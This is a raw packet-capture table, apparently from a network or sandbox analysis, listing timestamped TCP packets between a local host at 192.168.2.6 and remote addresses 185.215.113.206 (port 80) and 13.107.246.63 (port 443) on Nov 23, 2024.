Nov 23, 2024 09:16:27.909774065 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.909790039 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.909799099 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.909804106 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.913413048 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.913453102 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.913516998 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.913615942 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.913625002 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.913681984 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.915190935 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.915211916 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.915270090 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.915538073 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.915553093 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.915671110 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.915682077 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.917064905 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.917073011 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.917136908 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.917330980 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.917344093 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.917684078 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.917697906 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.951255083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.070784092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.405683041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.405740976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.405775070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.405819893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.408823013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.408884048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.408957005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.409013033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.419845104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.419883013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.419934034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.419934034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.430856943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.430932999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.430999041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.431060076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.441972971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.442044973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.442054987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.442270041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.453061104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.453121901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.453166008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.453320026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.539153099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.539208889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.539230108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.539249897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.544454098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.544509888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.545591116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.545648098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.545672894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.545722008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.552140951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.552196026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.552203894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.552258968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.563241005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.563318014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.563359022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.563400030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.574315071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.574378967 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.574438095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.574487925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.606745958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.606806040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.606832981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.606880903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.611537933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.611596107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.613358021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.613415956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.613480091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.613585949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.623189926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.623245001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.623248100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.623305082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.630697966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.630752087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.630805969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.630851984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.640459061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.640518904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.640572071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.640624046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.650192976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.650269032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.650309086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.650355101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.660120010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.660176992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.672063112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.672149897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.672173023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.672229052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.675467968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.675522089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.675545931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.675611973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.682154894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.682209969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.682229996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.682255983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.688826084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.688877106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.688939095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.688986063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.695504904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.695586920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.740051985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.740092039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.740144014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.740328074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.743369102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.743427992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.743511915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.743560076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.748584032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.748645067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.748761892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.748821974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.755219936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.755290985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.755368948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.755429029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.761926889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.761985064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.762065887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.762129068 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.768562078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.768615961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.768693924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.768748045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.774764061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.774825096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.774897099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.774950027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.780767918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.780837059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.780841112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.780894995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.786730051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.786793947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.786801100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.786870003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.792462111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.792484999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.792526960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.792542934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.807883978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.807930946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.807938099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.807976961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.809750080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.809807062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.809864044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.809907913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.813529015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.813600063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.814870119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.814923048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.814933062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.814985037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.818684101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.818749905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.818789959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.818842888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.822577000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.822619915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.822662115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.822688103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.826035976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.826097012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.826153040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.826212883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.829701900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.829755068 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.829826117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.829880953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.833405972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.833465099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.833473921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.833523989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.837080002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.837138891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.837138891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.837188005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.840781927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.840837002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.840923071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.840970993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.844422102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.844475031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.873276949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.873358965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.873410940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.873466015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.875119925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.875173092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.875238895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.875291109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.878829002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.878879070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.878890991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.878942013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.882515907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.882570028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.882575035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.882625103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.886213064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.886271954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.886339903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.886393070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.889856100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.889947891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.941284895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.941360950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.941435099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.941483974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.942775965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.942831993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.942913055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.942965031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.945826054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.945882082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.945947886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.946002960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.948874950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.948934078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.948993921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.949048042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.951950073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.952006102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.952083111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.952145100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.954965115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.955022097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.955023050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.955074072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.957644939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.957773924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.957844973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.960361004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.960416079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.960419893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.960472107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.962939978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.962996960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.963052034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.963108063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.965517044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.965573072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.965636015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.965694904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.968064070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.968125105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.968183994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.968240023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.970501900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.970557928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.970690966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.970742941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.973040104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.973097086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.973176956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.973232031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.975455999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.975511074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.975585938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.975640059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.977941036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.977993011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.978074074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.978127956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.980403900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.980459929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.980540037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.980593920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.982908964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.982965946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.983050108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.983104944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.985464096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.985517979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:28.985558033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:28.985610962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.008985996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.009052038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.009089947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.009159088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.010051966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.010107994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.010159016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.010210037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.012073994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.012131929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.012200117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.012253046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.014190912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.014245033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.014314890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.014364958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.016258955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.016313076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.016380072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.016429901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.018369913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.018420935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.018486977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.018532991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.020414114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.020464897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.020517111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.020567894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.022542953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.022597075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.022639036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.022697926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.024591923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.024643898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.024688005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.024746895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.026696920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.026750088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.026802063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.026854038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.028736115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.028784990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.028870106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.028928041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.030886889 CET	80	49714	185.215.113.206	192.168.2.6
